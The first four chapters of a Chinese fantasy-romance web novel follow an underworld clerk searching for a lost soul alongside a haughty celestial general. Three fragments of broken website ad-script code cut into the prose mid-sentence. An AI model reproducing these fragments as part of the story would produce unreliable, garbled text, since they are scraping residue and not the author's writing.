《死对头总觉得我爱他入骨》 1. 第 1 章 打工哪有不疯的。 作为混迹娱乐圈专扒爆料的狗仔洛瑶万万没想到意外死亡后会穿回古代被地府收编。 她不过是数千狗仔中的一员,与众不同的是,爆的不是一贯刻意拉踩的黑料。 在她独特的镜头下,看到了某擦边百万网红竟是资助山区孩子上学。 歌唱节目上耍大牌的臭脾气顶流,原来是不满节目组暗箱操作内定冠军。 靠男人上位的绯闻女星,其实是在帮自家新人拉热度。 不论好坏,她总能找出这些女性身上独特的魅力,在她的照片中,闪闪发光。 后来经过证实,记录全部为真,没人知道洛遥怎么扒出这么多私密的消息,因此她也被娱乐圈誉为狗仔神探。 其实,洛瑶没有多大抱负,只不过都是为了打工拼业绩而已,普通人混饭吃没有不难的。 只不过,她也没想到死了还要给地府打工,虽然才一个月就幸运升职,但洛瑶发现这并不是什么好事情。 她查到了手底下的一堆烂账,数名鬼魂失踪但没有登记入册,地府也没派人探查,要是寻常小鬼就算了,偏偏里面有个失踪的魂魄王心莲是十世善人。 此生是她最后一世,不管她成佛成仙都已不是小人物,可偏偏地府把人给丢了。 谁能担起这个责任。 难怪她那不饶人的严苛上司居然让位给她跑小地方任职去了,原来是找个顶罪的替死鬼。 “洛遥啊,最近适应的怎样,如果有困难可以随时问我。” 满口善意的是她的同僚水弓,枯瘦佝颓的肩背在背后隆起一道小山,两根枯爪又尖又长,苍白的眼珠子冒着精光,让人十分不舒服的长相,不过此等奇形怪状在地府中很常见。 地狱众生多是恶鬼之象,赫然不同的是洛遥,五官清丽,一举一动清艳动人,披着一身惨白的袍子也有仙气飘然的味道。 她合该是雾云缭绕瑶池高台上的仙子,而不是阴暗血腥地府下的鬼吏,和一群狰狞恶魂混在一起。 因此,洛遥时常引来一些黏腻的目光,比如这位三天两头绕路过来,偏要和她打招呼的同僚。 “多谢关照,现眼下我公务烦身恐怕不能招待,您请自便。” 依旧是公办公事的态度,直叫水弓心痒痒,他看着桌上累叠的文书便已经猜到了洛遥的困难,嘴角裂开的笑意更深,“你忙也对,最近人间可不太平,枉死的阴魂一批又一起,咱们冥王怕也不得不重视了,我听说下月冥王便要查生死薄,让那些该走的尽早走,以免逗留地府鬼满为患。” 洛遥心口一跳,翻页的手指顿住,水弓勾着长指顶在案桌另一边,令人作恶的躯体靠近了些,“如果查出来丢了哪些重要的魂魄,贬职是小,怕的是被丢进十八层地狱抽筋扒皮。” 阴恻恻的声音比忘川河水还要冷,“上一个放跑饿死鬼的,现在还在油锅里煮着呢!我啊,等下也得回去查账以免有错漏的地方。” 洛遥背后渗着冷汗,脸上的表情更冷,她确信水弓对她手下的烂账并非一无所知,甚至可能早有预料,和她的前扒皮上司合起伙来坑骗她。 这东西不仅没有人形更没有人性,徒有被色欲熏透的心肝散着腥臭味,此番试探,恐怕故意想让她求他,好达到自己的目的。 “洛遥你要是遇到问题找我求助,我就是豁出这条命也替你摆平。” 果然,这东西这么快就露出了丑恶嘴脸。 本来打工就烦,现在还有人想要对她潜规则,洛遥顿时没了好脾气,面皮上像结了冰似的冻人,在枯瘦的长指摸着桌边靠过来时,拿着账本狠狠拍了下去。 “多谢告知,如果没有其他事慢走不送!恕我公务繁多恐怕不能像大人这般闲散长谈。” 水弓吃痛收爪,猩红的唇边露出獠牙,绿光的眼珠子恶狠狠盯着桌旁仙女似的人,放下狠话,“我希望你一个月后还有这样的骨气。” 人一走,洛遥就丢了手里的破账本气得跳脚,“不发威当人当病猫啊,潜规则潜到姐姐头上来了,迟早要把他那换双鬼爪子剁了。” 方才端庄清冷的模样荡然无存,没人的时候洛遥立马暴露了本性。 也不怪她表里不一,她新官上任没有威信又长了副不吓人的好皮囊,要不冷下脸做出不好相与的样子,哪个小鬼会把她放在眼里。 恐怕像水弓这种色中狂徒会一茬一茬踩破门槛。 发泄之后,她又把丢在地上的可怜账本捡了起来。 王心莲,沁阳人士,卒于元明十八年。 死了十年了,都没发现人在哪,地府这些都是什么酒囊饭袋。也是她倒霉摊上这么个推不掉的烂差事。 洛遥把账本丢下便出了门,她要去人间一趟。 “洛大人好。” 两名鬼差压着新魂朝她打招呼,在洛遥望来时,立马咧开森森白齿。洛大人虽然高冷,但在不见天日的地府中可是难得少见的美景,就算是被她眼刀子杀过来,那也心甘情愿。 绣着清水芙蓉的谢尖停了,“你们这是......” 见她主动询问,两名鬼差更加热情,“哦,这家伙之前醉酒放跑了一名关押厉鬼,我们正准备正准备把他下油锅呢!” 说着,把那小鬼推进了一人大的油锅中。 洛遥:“......” 鬼差不知为何洛大人脸色更冷了,连招呼也不打便疾步离开。 终于出了地府,洛遥捂住了快要跳出来的心脏,只觉得自己的皮肤也跟着泛起无形的疼意。 死并不是最可怕的,可怕的是生不如死啊! 想起那口油锅她就瘆得慌,抹去眼角心酸的泪水,给自己打气,她一定要把王心莲带回来。 沁阳镇。 推着小车的商贩卖着当季水果,紧挨着旁边的铺子便是一间包子铺,正是清晨人流拥挤,叫卖声混着交谈声,在蒸笼掀开的热雾中沸腾。 人间的烟火气最是温暖人心,喜欢热闹的洛遥没有凑上去,她没有忘记自己是鬼,隐去身影,藏在角落,观察周围陌生的环境。 这里所有人都穿着古装,屋檐瓦舍都是古画里的模样,洛遥看着稀奇。 偌大的沁阳镇放眼百里找个人本就困难,找个失踪的鬼魂更是难上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 加难。 所以,她找到了当地的土地庙,土地公负责当地事务,类似于沁阳镇的基层公务员,沁阳人氏王心莲自然在土地庙的管辖内。 土地面坐落于一处无人林野,虽然不在街边闹市,但香火不断,一方小庙里的香烛燃得正旺,地上不见杂乱显然被打理得很好。 走上前去,神龛中慈眉善目的老爷爷笑吟吟看着她,点在石像上的眼珠子漆沉浓郁,不知为何,看着竟有些不舒服的感受。 “土地公,小女子有事相商,还劳烦您现身一见。” 点漆的眼珠子提溜一转,直直落在了洛遥身上,那一刻她仿佛被一种无法言说的阴冷笼罩,供台桌布下黑色的东西游走而过快如幻影。 “你是何人?既有事相求为何不拜啊!” 神龛中小小石像全然变了慈眉善目的模样,狭长的眸子睥睨着,姿态姿态尽显高傲,若是个凡人见到此景,恐怕立马要伏地叩拜,直呼神迹。 随着声音压过来,洛遥感觉背上也渐渐压了一层大山,她拿起供台上的三根香,俯身点燃之际快速砸在了石像脸上。 “你又不是土地神我为何要拜!” 在石像眼珠子迸发惊诧时,洛遥一把掀了供桌,盘踞在供桌下的巨大蛇尾犹如见光的老鼠迅速缩回神龛中。 “好大胆的小鬼,竟然毁我庙宇。” 蛇头从石像的空壳子中钻出,吐出丝丝红信子,巨大蛇尾当空横扫,好在洛遥就地一滚躲开一击。 等那巨蛇完全露出碗口粗的身体,洛遥便知事情不妙,张口能言的药妖物恐怕早就修炼百年,她一个鬼差办的是抓鬼的事,抓妖她可没这个能耐。 “今日心情好,就拿你打牙祭。” 这妖物是要吞了她,仰天张开的大嘴能有她肩膀宽,洛遥想也没想抽出腰上鞭子抽了过去,鞭子是地府给她用来捆鬼物的法宝,可能不能打妖她也不能确信。 不过,听那妖物被抽得痛叫,洛遥想应该有用,但观察妖物嘴上一道浅淡的伤痕,便可知用处也不大。 完了,必须走。 洛遥使足了力气拼命跑,但妖物速度实在快,利齿就快落在她的肩膀上,这一口下去,不死也废。 可就在此时一把红缨枪当空飞来,直接把巨大的舌头贯穿,死死盯在地上,巨蛇痛苦扭曲在一起拼命挣扎也不能从枪尖上挣脱。 一股比巨蛇强烈百倍的威压从背后传来,洛遥憋出一身汗才没有当场跪下,在脊背被压弯时威压终于退下,刚才嚣张的巨蛇已经成软塌的肉饼。 洛遥最先看到的是一双神气的登云靴,暗红的衣摆外面用金线包起绣着翻滚怒焰,看起来贵气十足,等她抬头看清这人脸时,果然和他那张扬的劲装一样透露着桀骜不驯的劲。 此人剑眉星目,模样俊朗,生了绝顶的好皮囊,只不过微勾的眼角透着轻慢,不由自主让人心生距离,以免被他不屑的气场踩在脚下。 他目不斜视,完全没有把目光放在身旁的俏丽小鬼身上,径直走到蛇妖旁,用那神气的登云靴把苟延残喘的舌头狠狠踩进泥里。 “此处的土地神呢?” 2. 第 2 章 蛇妖哆哆嗦嗦吓成了软骨头,“土、土地神被我吃了,大人饶命,大人饶命,我只是一时糊涂。” 当察觉妖物占了土地神的庙宇时洛遥便有预料,听到这个回答丝毫没有意外,只是觉得有点残暴,可接下来她看到了更为残暴的画面。 男人运起法力直接把蛇妖斩成了灰烬,甚至没给蛇妖缉拿回去问责的机会,狠辣果断,一看就是惹不起的主。 于是,洛遥很怂地溜了,直到被背后轻慢的声音钉住脚步。 “我说了让你走了吗?” 洛遥察觉男人的眼神落在了她身上,不好意思转身,“方才多谢大人搭救,小女子感激不尽。” 男人哼了一声,头顶熠熠生辉的神印彰显他是天庭的神将,“我可不是为了救你。” 他的目光似乎变得有些玩味,“一个女鬼,一个蛇妖,小小的沁阳还真是热闹啊!” 带血的枪头让洛遥脊背发凉,忍住怯意朝男人解释,“小女子是地府新上任的鬼吏,负责户籍督查,前来沁阳镇是为了查事。” 洛遥递上了自己的任职文书,生怕男人出手太快把自己当那蛇妖同伙一块斩了。 卫凌只瞥了一眼,没有接过,拿出一块绢布低头擦拭自己的红缨枪,“什么事需要你一个小丫头片子来查,地府都死光了没人吗?” 小丫头片子怎么了,她可是因为能力优秀破例被地府收编的,虽然这只是个坑。 洛遥板着脸不让自己怒火外泄,“地府本来就没活人。”可不就是死光了吗。 擦红缨枪的手指顿住了,洛遥继续道:“我查到王心莲的魂魄迟迟未归,所以前来寻找。” 枪擦干净了,目光重新落在她身上,“沁阳镇鬼物作乱一事天庭早有听说,此事你不必再探,我们天庭管了。” 什么意思?不让她参与了? “大人您去缉拿鬼物,我去找王心莲两者毫不冲突,不如我们就此分道扬镳。” 桀骜眼神骤然冷了几分,就连枪尖的寒芒都变得尖锐逼人,“我说这件事我们天庭管了,你若还想安然无恙,尽早离开。” 好霸道无理的男人,凭什么这件案子天庭管了,他们地府就不能去查,况且丢的人又不是他们天庭的。 洛遥紧抿着唇没有离开,回去就是等死,尽早查明还有希望,她就不信这个男人敢光天化日斩了地府的官员。 虽然心里这么想着,但是看到男人拎着枪走过来时,心脏还是颤了又颤。 “好一个不知死活的女子,既然如此——” 洛遥见他拎起了红缨枪,他竟然真敢动手,连呼救都来不及红缨枪就朝自己当头劈下。 当即一鞭子抽过去。 没有意料中的疼痛,反倒时看到了二世祖手背上通红的鞭痕。 洛遥感觉自己飘在了天上,不,准确来说是挂在了那把枪上,成了红缨枪头的红须。 “大人你这是做什么?” 劫后余生洛遥犹疑地问。 “卫凌。” 卫凌忍下手背上火辣辣的痛意语气不善。 小鬼竟然真敢抽他,胆子够大。 “......卫大人,我们这是去哪?” 洛遥见卫凌快行的步伐顿住,然后朝自己的方向看了眼,似有一丝苦恼,仅仅只皱眉的动作便让她不敢再说话,以免惹他不快。 转眼间,已至沁阳镇中,卫凌隐去了头上过于明显的神印,但他过于出众的样貌以及贵气的着装都与这座不算富饶的小镇格格不入。 像是京中富贵的公子哥来了贫瘠的乡下,怎能不惹人注目,男人也有所察觉,但在周围目光的注目下依旧我行我素,拿着显眼的红缨枪招摇过市。 “卫大人如果你是来查案的,还是不要这样高调,鬼物谨慎,若是知道大人行踪,定会小心隐藏,绝对不会现身。” 毕竟当做狗仔,深扒过许多不为人知的秘密,要想得到越隐蔽的消息,就像要与环境融为一体,那些人才能放松吐出点有用的东西。 洛遥伪装过外卖员,摊过煎饼,作过农夫,不同的身份游走在相应环境中,总能得到自己想要的消息。 她不得不提醒卫凌,以免这个从天庭来不知人间事的二世祖破坏了自己的任务。 “有些鬼物,还有自己的手下,隐藏在暗处观察情况,一有风吹草动立马禀告,一旦让他们生起警惕性,就很难引蛇出洞。” 洛遥尽量不让自己的语气听起来很生硬,但作为神界一向所向披靡的将军还是听出了小鬼的一丝轻视。 又是一声冷哼,“我又不是你这等无用小鬼,他不出来,我就翻了整座沁阳镇,我倒要看看这鬼能藏在哪里?” 好心相劝却被冷嘲热讽,洛遥气得心肌梗塞,也冷了调子,“大人有大人的想法,我自有自己的主张,再说您就算是天庭神官,扣留地府官员也说不过去,还请尽早将我放出,以免引起天庭和地府纷争。” “你一个小小鬼吏还不足以引起天庭和地府的纷争,再说了你和沁阳镇作乱的都是鬼物,我又怎么确定你不会通风报信。” 凭空一口大锅砸在洛遥头上,那些贬低的话让她的尊严被仿佛践踏,她无比确信卫凌就是个空有法力的莽夫,也不知天庭怎么会派这个蠢货过来。 探案又不是上战场,靠得的脑子,而不仅仅是拳头。 “那我就看看卫大人的能耐能不能把王心莲的魂魄找回来,若是卫大人能做到我主动回去请辞,若是大人找不到,还请尽早离开,不要耽误了地府办案。” 阴阳怪气的语调,挑动了卫凌眼中怒火,“小鬼,那你看好了,到时候丢了官职可别哭。” 卫凌走到哪,哪里就不缺追逐的目光,听到他直接在大街上拉着一个人问王心莲的消息,洛遥悬着的心终于死了。 被问的是个卖煎饼的货郎,听到男人这样问,愣了下,“王心莲?沁阳是有个叫王心莲的不过都死了十年了?” 又问了住宅的位置,卫凌便飞速前往,到了地方只看见一处荒废许久的老宅子,屋檐上长满青苔,墙壁也裂开一条大缝,估计来场大风就能吹倒。 卫凌搜查了一番,并没有发现异样。 洛遥十分无语,难不成他还指望王心莲的魂魄还会在原地等他吗? 卫凌踏进了这座危房,找到了王心莲的房间,腐朽的味道扑面而来,虽然难掩破旧,但房间却干净整洁,一点不像荒废许久的样子,梳妆台上的铜镜甚至能干净得透光。 太反常了。 洛遥仔细观察得出了结论,“这里依旧有人居住,难不成......?” 白天小鬼是不会随便出现了,因此卫凌蹲守到了晚上,可洛遥觉得奇怪,地府那些鬼差是有不少酒囊饭袋不错,但要是王心莲的魂魄还留在这里,他们都没能抓住,那也绝不可能。 王心莲要不是遇到意外,又是因为什么留恋人间迟迟不走呢? 夜晚悄然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而至,如墨的夜色中只有稀薄的月光提供可视的光线,不过对于卫凌的法眼下,藏得再深的东西也无所遁形。 黑暗中,一只身形灵巧的野猫翻过高墙,踩着青苔瓦砾跳了下来,破旧的门扉吱呀裂开一道门缝。 这是一只花纹极好的狸花猫,它跳上梳妆台透亮的铜镜照出一道刀痕的半张脸,须臾间,镜子前的狸花猫已变成身姿婀娜的少女,那道狰狞的刀疤就落在俏丽的脸蛋上。 女人忧伤地抚着脸上疤痕,拿着木梳一下一下梳着头发,将半边伤疤遮起,又变成了清丽的小美人。 动物的警觉性总是很高,在这猫妖察觉不对时,镜中就映出身形高挑的提枪男人,她惊叫一声立马朝门外跑,被卫凌放在门口的法网抓个正着。 猫妖被提着后颈拎了起来,“你是谁?为何待在这里?” 强大的气场让猫妖瑟瑟发抖,另一道疑惑的声音自空气中响起,“王心莲?” 猫妖惊恐地张望四周也没看到现场还有第三人,等拎着她的男人手里的红缨枪一抖,白衣妙龄少女便凭空出现。 虽是素色惨白不加任何修饰的衣裙,但在那张见之难忘的容颜映衬下显得华光溢彩,猫妖低下了头,遮住自己划花的脸蛋,心里燃起强烈的自卑。 “你认识她?”卫凌问。 “不认识,不过我曾翻阅王心莲的登基户籍确实是这个模样。” 卫凌才想起来这个小鬼是地府管理户籍文书的,他的目光转向猫妖带着询问,“你为何变成了猫妖?” “大人饶命,这是我养的狸花猫,我死后为了躲避地府鬼差的耳目就附身在了狸花猫的身上,我自知有罪,求大人开恩。” 狸花猫圆溜溜的眼睛蓄满泪水,毛绒控的洛遥忍不住伸手,“放心,我会给你求情的,不过你要随我先回地府。” 还未触到那片柔软的皮毛,狸花猫就被卫凌移开了方向,“不好意思,小洛大人,王心莲我要带回天庭。” 这是卫凌第一次称呼她大人,不过可不是尊敬,那每一个字落在她身上都是无形的施压,卫凌是希望她识相,最好别作弱者无用的反抗。 当面被抢人,洛遥当然气急,“你、你抢我们地府的人,这是什么道理,就算你是天庭的神官,也不能如此蛮横。” 她应该真气得厉害,往常惨白的脸都泛起红晕,卫凌见着一板一眼的棺材脸小鬼脸上终于有了不一样的表情,笑意戏谑,“小洛大人先别气,你可别忘了自己说承诺要主动请辞的话。” 洛遥脸色一僵,表情霎时难看。 “再见了,小洛大人有机会我会去地府看你的。” 卫凌没再为难她,带着狸花猫消失在原地,确定他离开,洛遥僵硬难看的脸蛋顿时变成了狂喜。 “天呐,终于送走了这个二世祖!幸亏天庭这次派来的是个蠢货,要不然被他搅和,别说一个月找到王心莲,就算半年恐怕都难。” 洛遥根本不认识那只猫妖,说她是王心莲不过顺口胡诌,那只猫妖脸上毁容,就算天庭的人调查确认恐怕也没那么快。 至于她为什么确定这不是王心莲,一是她确实在户籍簿上看过王心莲的模样和和猫妖相似但还有所差距,其二便是推理的直觉,地府十年都没能找回来的魂绝不会就这样简单出现。 就好像刻意出现在这里等她来发现一样。 不过,现在这个二世祖被哄骗走了,只要一个月内不出现,她就能尽快查明。 3. 第 3 章 其实,卫凌发现自己轻轻松松就把王心莲找到也很意外,所以他第一时间找到了自己的副将武朗。 武朗是从人界刚升上的小仙,卫凌偶然听到此人对于排兵布阵的见解,觉得他是个可塑之才便提到了自己麾下,但是没想到他时刻念着自己在凡界的妻子,嚷嚷着要回人间。 能升成仙是莫大的机缘,这个家伙居然还不乐意,况且普通神将难能随便下凡。 卫凌听说下界鬼物作乱,便借机除祟下凡顺便把武朗的妻子王心莲带回来。 可没想到地府的那个小鬼吏居然也在找王心莲,依照那个小丫头先前谨慎的模样,想必明白找回王心莲是件不容易的事情,但是偏偏就是被他这样轻松带回来了。 他拎起猫妖,那双锐利鹰眼仿佛能洞察人心,“不知道你还记不记得自己还有个叫武朗的丈夫,他可是日日念着你,我今日有空刚好带你们团圆。” 要见故人那怎么能行,猫妖立刻缩起瞳孔,“大人我不要见武朗,如今我这副模样如何见他。” “不要担心,武朗若是嫌你貌丑而负你,我一定把他重新打回人间。” 男人不容拒绝的声音让猫妖的心凉了半截,很快便有仙官传来一位模样儒雅的男人,而猫妖也被恢复了人形。 “武朗还不来见见你夫人?” 武朗一听说卫凌从人间归来的事便马不停蹄奔来,远远见那头发半遮面的女子激动地心都要跳出来,可看清女子低垂的头上,却又浑身僵硬。 “卫将军,这不是心莲。” 卫凌勾唇,笑容玩味,“可她说自己就是王心莲。” 武朗无比确定,“这位姑娘虽然长相相似我家娘子,但绝对不是,夫妻同床共枕多年我怎么会认错。” 冷汗爬满背脊,猫妖想逃,未能迈出半步,面前就抵上了一把红缨枪。 “大人饶命,我只是一只苟活的小猫妖,若我说自己不是王心莲,我怕大人不会留我。” 神是最不容妖孽存在了,她有价值才能存活。 “你有机会慢慢说。” 卫凌没有时间听她狡辩,直接把猫妖收进乾坤袋,武朗还没弄清楚怎么回事,卫凌便已经消失了。 这几日,洛遥将自己伪装成了卖胭脂水粉的小商贩,终于套到了些有用的消息。 这沁阳镇近期已经发生多起人命的案子,发生命案不奇怪,怪就怪在这些人都是无辜死在家中,死前都带着满足诡异的笑容。 有人怀疑是鬼祟作案,于是也请了不少道士过来,但谁料请来的道士都发生意外而亡,至此,人人自危,谁也不敢擅自请道士上门。 要是没除掉邪祟,说不定还被那东西记恨上。 沁阳又是鱼米之乡,卖到外地鱼米是沁阳百姓的主要生活来源,要是让外地人知道沁阳妖孽作祟毁了名声,那百姓的生计就毁了。 所以,百姓间也不敢四处宣扬,洛遥也是装成样貌清秀的小货郎,每日一口一个好姐姐叫着,让这群好姐姐对她有了爱惜之心,提醒她多加注意,晚上不可出门等事项。 总结来说,没了卫凌捣乱,进度飞快,思维也越加清晰。 “小货郎,你这胭脂多少钱?” 摆弄被前一个顾客弄乱的胭脂盒洛遥头都没抬,随口答道:“今日特惠,不要九九八,只要九十八,今日跳楼价,九十八文送您美貌青春。” 抬头扬起标准化笑容,看到那张熟悉的脸,洛遥握紧摆摊车把就要跑。 一只长腿就那样轻轻拦在车轮前,车子就好像抵在大山上不能移动半分,青花瓷胭脂盒被修长的指节仿佛把玩,在那圆滚滚的胭脂盒要溜出掌心时又被无情抓了回来。 “别来无恙啊,小洛大人,几日不见怎么改行摆摊了?” 卫凌少见地笑了,笑容落在洛遥眼中止不住冒冷汗,之前卫凌杀蛇妖的时候似乎就是这样笑的吧! 他怎么回来的这么快!难道发现问题了,洛遥脑子里一团混乱。 “真、真巧,我其实刚死不久,这次有机会出来,还是希望再次感受下人间烟火气。”洛遥脑子转得快,她迅速想出了一个听起来很真的胡扯借口。 “你知道欺骗天庭神官是什么罪名吗?” 那只脚已经从车轮移开,但是洛遥却不敢跑了,她的脸上已经化妆伪装,还是被卫凌看清真面目,卫凌的法力她不敢想象。 “卫大人这话我怎么听不懂呢!您不是已经把王心莲带回去了吗,再说我有什么地方欺骗了您吗?”洛遥装傻。 那把该死的红缨枪又出现了。 “你可以装不知道,前提是你能抗得过红缨枪的审问。” 洛遥心里咯噔一声,完了,她忘了这个家伙完全不按套路出牌,更不在乎得罪地府,杀蛇不眨眼恐怕杀她一个小鬼更是不会放在心上。 在红缨枪快落到肩上时,洛遥怂了,“等等!” 她板着一张不甘屈服小脸,“卫大人我们合作吧!” 煞气逼人的红缨枪顿时消失,诚然小鬼有几分聪明,卫凌也并不觉得自己需要和一个手无缚鸡之力连鬼物都解决不了的文弱鬼差合作。 沁阳再大不过芝麻点地方,厉鬼躲一日就杀一日,终有一天会杀到。 “沁阳城里的百姓对于外地人很戒备,想知道消息您这样直接问可不行,这里的人生怕泄露对沁阳不好的消息,嘴都咬得严,您就算法力强大恐怕在凡界也不能随意出手。” 神不可对凡人使用法力,这是神界戒律,鬼差同样如此,但是这小鬼为了探消息居然能装作货郎卖货几天也是在让他大开眼界。 如今地府的鬼差都已经沦落到这种地步了吗? 但凡有身份的鬼差,恨不得时时刻刻把彰显身份的官服穿在身上,出行护卫随身,鬼奴侍奉,像洛遥这么接地气的他第一次见。 “只有融入沁阳才知知道底下的阴私,只是我们二人同行必须有个合理的身份,大人可有想法?” 洛遥犯难了,她不在乎面子问题,不代表二世祖不介意,看他一身华丽无比胜于花孔雀的装扮就知道是个性格肆意不会让自己受半分委屈的人,洛遥觉得让这个看上去就像富家少爷的人和自己摆摊不现实。 卫凌双手抱胸,“你觉得我们想什么?” 洛遥实在想不出,“一起外出云游的兄妹?” 说完一看卫凌那张脸又使劲摇摇头,“不行,长相差太大了。” 卫凌五官分明又凌厉张扬有着她完全没有的攻击性,鲜活的面容也和她脸上淡淡的死感不一样,明眼人绝不会认作一路人,气质迥然不同,怎么都不像是一个娘胎里出来的。 没了办法,洛遥只好让卫凌先换了那一身锦服换上普通的粗布衣裳,潇洒的马尾也盘成规规矩矩的发髻,俊俏的容貌也被他施法减弱了几分。 和一身素衣的洛遥站在一起和谐多了,终于有了平常人的模样。 卫凌倒也听话,没有再和她对着干,两人走在街上终于没有在引来频频注目的眼光。 洛遥走在前面忽然被小贩的吆喝声拉住,“小娘子看看这新出的珠花,只要一两银子,你戴在头上肯定好看。” 洛遥不好意思摇摇头,她要赶着去县里的停尸房看那几具尸体,“不好意思,今天身上没带这么多钱。” 小贩揶揄的目光看向她身后,“你可以让你夫君给你买呀!” 洛遥愣住了。夫君?该不会说的是卫凌吧! 卫凌的表情有些僵硬,显然被这场突如其来的误解尴尬住了,洛遥识相解围,“不好意思,我们明天回家拿钱再看。” 一两银子忽然放在了小贩面前,“选一选?” 这句话是对她说的,拿了银子的商贩喜笑颜开,“娘子您看看这支梅花白玉簪如何,还有这支牡丹红玉簪富贵逼人,都是今年新出的,小姐们都喜欢呢!” “这支吧!” 卫凌拿起了那支梅花白玉簪,入手冰冷,倒和这冰块脸的小鬼很相配。 虽然可能只是演戏,但洛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 遥心里还是有了一丝微妙的感动,可下一刻,当卫凌把簪子立着正中插在她头上的时候,那股微妙的感动瞬间破碎。 “哪有这样插簪子的,又不是去上坟!” 她气得把簪子拔了出来,要扔给卫凌忽然又有些舍不得,再看到卫凌憋笑憋得通红的脸,想也没想直接把簪子丢在了他脸上。 簪子没落到地上被那只手轻松捕捉,卫凌追着小鬼的步子跟了上去,“喂,小鬼你真的生气了?” 洛遥不理他,只想和他分道扬镳,毫无温度的手掌忽然被另一只温烫的手握住,她不得不停下来。 “你们地府没钱吗,连个像样的首饰都没有。” 素白的梅花簪落在空荡荡的发髻上,如同白纸上的点睛之笔,一朵梅花灿然盛开,洛遥苍白的面貌也鲜活了起来。 洛遥瞧着卫凌嘴角未收的笑意,有些恍惚,这个二世祖似乎......也没那么讨厌。 二世祖说得没错,她是真的穷,她初来乍到的小鬼,哪里有什么鬼钱,就连这一身衣裳都是领导发放的工服。那根梅花簪她确实喜欢,毕竟没有哪个女孩子不爱美。 两人依旧不对付,但似乎又有什么在悄然破冰,洛遥摸清楚二世祖似乎真的没打算杀她,于是大着胆子问:“要不,我们装作凡人夫妻?刚才别人还误以为是夫妻呢。” 见到对方笑意尽失,揣测的目光,洛遥立马解释,“我并没有别的意思,大人觉得不妥就算了,我再想想别的办法。” “好。” 卫凌生的英俊,这点他自己再清楚不过,又在神界执掌一方兵权,没少收到神女的示爱,从洛遥嘴里听到这种话没有半分意外,只不过这小鬼相当有意思,明明怕他还往他身边靠,板着一张看不出表情的脸以为就有了底气。 卫凌觉得有趣,没有戳破她心里藏着的小心思,以免让这小鬼当场羞愤难堪,于是他鬼使神差同意了这个让他感觉麻烦的决定。 “一男一女出行在外,说不是夫妻谁信。” 洛遥拐弯抹角,就是希望二世祖不破坏她的计划,她没想到二世祖能如此痛快答应,还以为自己会被这个毒蛇的男人羞辱一番,不知廉耻见到男人投怀送抱的话,但要是知道卫凌心里一番美好的误会恐怕会骂卫凌一百遍自恋狂。 街上有携手相牵的夫妻走过,肩并肩诉说情话,她没有牵卫凌的手,就连跟在卫凌背后都始终保持两步远,要是真牵上去,二世祖估计真的以为她是故意勾搭。 “我们最好融入凡人的生活,在别人面前多刷存在感,时间久了他们自然会放下警惕,我们今天住客栈吧,明天租间房子。” 卫凌没有反驳,想必是同意了她的建议。 一场大雨忽然而下,毫无防备的百姓四处奔走,卫凌下意识运起法力,被一只纤细的手腕拦住,“走吧,凡人可不会法力。” 洛遥拉着他奔向客栈,到了地方两人已经成了落汤鸡,被浸湿的衣裳勾勒出曼妙的身姿,卫凌瞧着四面八方围过来的目光,解了外衫盖在了她身上。 这衣裳看上去湿透了,可里层却十分干爽,想必特意施了法术,她正准备跟掌柜要两间上房,就见卫凌率先开口:“一间上房。” 等拿到门牌号卫凌就把她拉了上去,关上门洛遥才解下衣裳,将衣服弄干,“一张床你准备睡哪?” 问完后,洛遥才知犯蠢,卫凌根本不用睡觉,当人当久了,她都忘了鬼神的生活习惯。 不过,洛遥还是喜欢床,就算不困也愿意在床上赖着,她坐在床边,身边忽然就落了一道身影,低声在她耳边道:“当然是我们夫妻二人睡在一起,娘子你不会还跟我耍小脾气吧!” 洛遥瞪大眼睛,正要问他是不是演戏演上瘾了,就被摁住肩膀,暖呼呼的气息吹在耳边,“你难道没发现我们被跟踪了吗?” 跟踪,是鬼物吗? 她连忙收起震惊的表情,又看了看身后的柔软床铺,不会,今晚真要演场夫妻戏吧? 和二世祖? 4. 第 4 章 明明还不是深夜,外面却静得可怕,似乎那些喧闹声都被什么东西吞吃入腹,只余毫无生机的死寂,悄无声息地蔓延。 的确有东西过来了。 久待地府洛遥对于腐烂的死气再熟悉不过。 桌前的烛火无风自摇,阴冷的气息从门缝渗透到骨缝里,她扯下床幔,以往冷冰冰的声音也柔和起来,“相公我们入睡吧!” 堪称温柔的声调让卫凌一个激灵,再看洛遥目光已然不同。 小鬼还挺会演戏。 洛遥还担心二世祖不配合,可忽然就被他搂着腰猛然拽进怀里,恣意的面容笑意也越发邪性,她顿时僵了身体,呆愣的瞬间又见二世祖挑挑眉,似乎再说‘怎么不继续演了’。 欣长有力的指节掐进腰窝,仿佛触电一般,差点软倒身子,脑子还没想好要不要忍,膝盖就朝二世祖下盘顶了上去。 不出意外,她听到了一声痛苦又死死忍耐的闷哼声,华丽的声线硬生生掰转了调子,听起来相当悦耳。 果然,管你神仙金身护体,也躲不过夺命蛋击。 洛遥偷偷窃喜,嘴角的弧度怎么也压不住,直到撞上一双猩红暗沉的眼,忍耐的青筋从额头上蹦起,似乎束缚在身体里的野兽马上就要突破禁锢。 她知道二世祖根本算不上好脾气,随手弄死几个不长眼的,在她固有认知中这算得上暴力狂。 她知道完了,玩大了。 腰上的力度似乎要掐进肉里,就算她已经是个鬼了也禁不起如此折腾。 二世祖不会要把她骨头捏碎吧,洛遥疼得咬牙,估计这种可能性不是完全为零。 她被人用力扔进床铺,脑袋砸在床褥上有点发蒙,倒不是疼,只是冲击力过大有点缓不过神来。 垂曳在地的床幔掀开之后复又落下,沉重的阴影压向后背,洛遥刚撑起的身体又被压进床铺,右脚后踢,结果被膝盖狠狠压住。 “你做什么?” 她胡乱用手肘往后顶,但显然微不足道的力气在武将出身的卫凌面前根本不值一提,发烫的掌心贴在皮肤,纤细的手掌被单手锁住,像钉子一样牢牢钉在床柱上。 灼热的呼吸贴着后颈吹过来,让她有种被热水贴着的感觉,尤其是卫凌整个身体都压在她身上,感觉都要被烫化了。 鬼神果然是不能相通的,洛遥难受极了,一方面是生理上的,另一方面来源于马上不知道会被二世祖如何整顿的担忧心理。 “娘子,刚才不是还说要休息,怎么这货又不乐意了。” 这绝不是调情的调子,每一个字都是咬着牙说出来的,她感觉自己是一块马上就要被撕得粉碎的肉,总之下场不太好。 